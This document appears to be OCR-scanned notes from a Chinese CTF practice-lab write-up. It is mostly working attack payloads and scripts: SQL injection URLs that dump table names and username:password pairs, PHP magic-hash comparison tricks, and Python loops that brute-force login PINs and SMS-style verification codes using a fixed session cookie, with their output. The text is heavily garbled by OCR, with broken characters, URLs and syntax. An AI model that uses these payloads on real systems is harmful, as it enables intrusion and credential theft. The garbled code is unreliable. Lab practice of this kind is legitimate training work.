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http://lab1.xseclab.com/base10_0b4e4866096913ac9c3a2272dde27215/index.php

7./ F burpif repeater&s & B/ NHTTP&
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10..bash_history, XANMiZHE B, AL FH ALK linuxd <K

Hil ¥y B A 2R

jshnfigg %
http://ctf5.shiyanbar.conVDUTCTF/1.html //EEEF1235H S XA T

XSS
http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php

R HRA R, HEEGHITRATHRRE T

$.post("./getkey.php?ok=1",{'url’:location.href, 'ok':0k},function(data){
console.log(data);

})s
showkey();
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http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,column_name from information_schema.colum
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http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,k@y from thiskey
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4 http://lab1.xseclab.com/sqli3_6590b07a0a39¢c8c27932b92b0e151456/index.php
payload:

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1=1
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AN k: Content-Type: text/html; charset=gb2312

payload

http:/lab1.xseclab.conV/sqli4 _9b5a929e00e122784e44eddf2b6aal1al/index.php?id=1%a0%27 or 1=1 limit
2,1%23
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analyse(extractvalue(1,concat(0x3a,database())),1)
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http:/lab1.xseclab.com/sqli5_5ba0Obba6a6d1b300956843f757889552/index.php?start=7&num=1 procedure
analyse(extractvalue(1,concat(0x3a,(select table_name from information_schema.tables where
table_schema=0x6d79646273 limit 0,1 ))),1)

=

http:/lab1.xseclab.com/sqli5_5ba0bba6a6d1b300956843f757889552/index.php?start=7&num=1 procedure
analyse(extractvalue(1,concat(0x3a,(select concat(username,0x3a,password) from user limit 2,1 ))),1)
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http://ctf4.shiyanbar.com/web/10.php
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import requests
import base64

url="http://ctf4.shiyanbar.com/web/10.php"’
reg=requests.get(url)

print req.text

key=req.headers['FLAG']
key=base64.b64decode(key)
key=key.split(':")[1].strip()

data={"key"' :key}
r=requests.post(url,data=data)
print(r.text)
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user=admin'y#&pass=432142
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http://www.shiyanbar.com/ctf/1760
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$cipher = 'alzlbgQsCESEIqRLWUQAYMWLYQq2L5VWBXqGA3RQAyumZotmMvSGM2ZwB4tws ' ;
$tmp = base64_decode(strrev(str_rotl3($cipher)));
echo $tmp;
$b = "'
for ($i=0; $i < strlen($tmp); $i++) {
$a = substr($tmp, $i, 1);

$b = $b.chr(ord($a)-1);
}

echo strrev($b);
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var_dump( @ == "a" );
Var‘_dump( "g" == "g" );

F—NREIK R true , =R EIK £ false
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var_dump ("0e462097431906854"=="0e83040041") ;
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md5( '240610708"') W4 ER: 0e462097431906509019562988736854
md5( 'QNKCDZO0') K4 RZ: 0e830400451993494058024219903391
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import requests

url

"http://labl.xseclab.com/vcodel_bcfef7eacf7badc64aat18844cdblc46/login.php"
requests.session()

header = {"Cookie":"PHPSESSID=9b8f8686269f5d70a44766e3c5f4dcdc"}

for pwd in xrange(1000,10000):

req

data={"'username':'admin', 'pwd' :pwd, 'vcode': 'c3pe’'}

ret = req.post(url, data=data, headers=header)
print ret.text

if 'error' not in ret.text:

print pwd

break

S python vcodel.py
pud errop
pud error
pud error

is LJLJL78?sdf#Bsd
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import requests

url

"http://labl.xseclab.com/vcode2_a6e6bac@b47c8187b09deb20babcoe85/1login.php"
req = requests.session()
header = {"Cookie":"PHPSESSID=3c39940da50b514038b3e9971ee5f57e"}

for pwd in xrange(1000,10000):
data={'username': 'admin', 'pwd' :pwd, 'vcode':"'"'}
ret = req.post(url, data=data, headers=header)

if 'error' not in ret.text:
print ret.text

print "good: password is:" + str(pwd)
break
else:
print "try:" + str(pwd) + " and result is :"+ ret.text

pud error
pud error
pud error
pud error
pud error
pead, epror
pud error

and result
and result
and result
and result
and result
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and result
key iz LJLJL78%ss33fasuxcusdf#i@sd
igood:= password iz:1228
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http://lab1.xseclab.com/vcode3 9d1ea7ad52ad93c04a837e0808b17097/index.php PR b [ — i+ H fl A

http://lab1.xseclab.com/vcode6 _mobi_b46772933eb4c8b5175¢c67dbcd4d8901/
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import requests

url "http://labl.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/1ogin.php"
req = requests.session()

header = {"Cookie":"PHPSESSID=61556a5b2a6c2a@3a2f35b199cbb5364"}
for vcode in xrange(100,1000):

data={"'username':'13388886666"', 'vcode':vcode, 'Login':'submit'}

# data={'username':'13399999999', 'vcode':vcode, 'Login':'submit'}

ret = req.post(url, data=data, headers=header)

if 'error' not in ret.text:
print ret.text

print "good: vcode is:" + str(vcode)

break
else:

print "try:" + str(vcode) + " and result is :"+ ret.text
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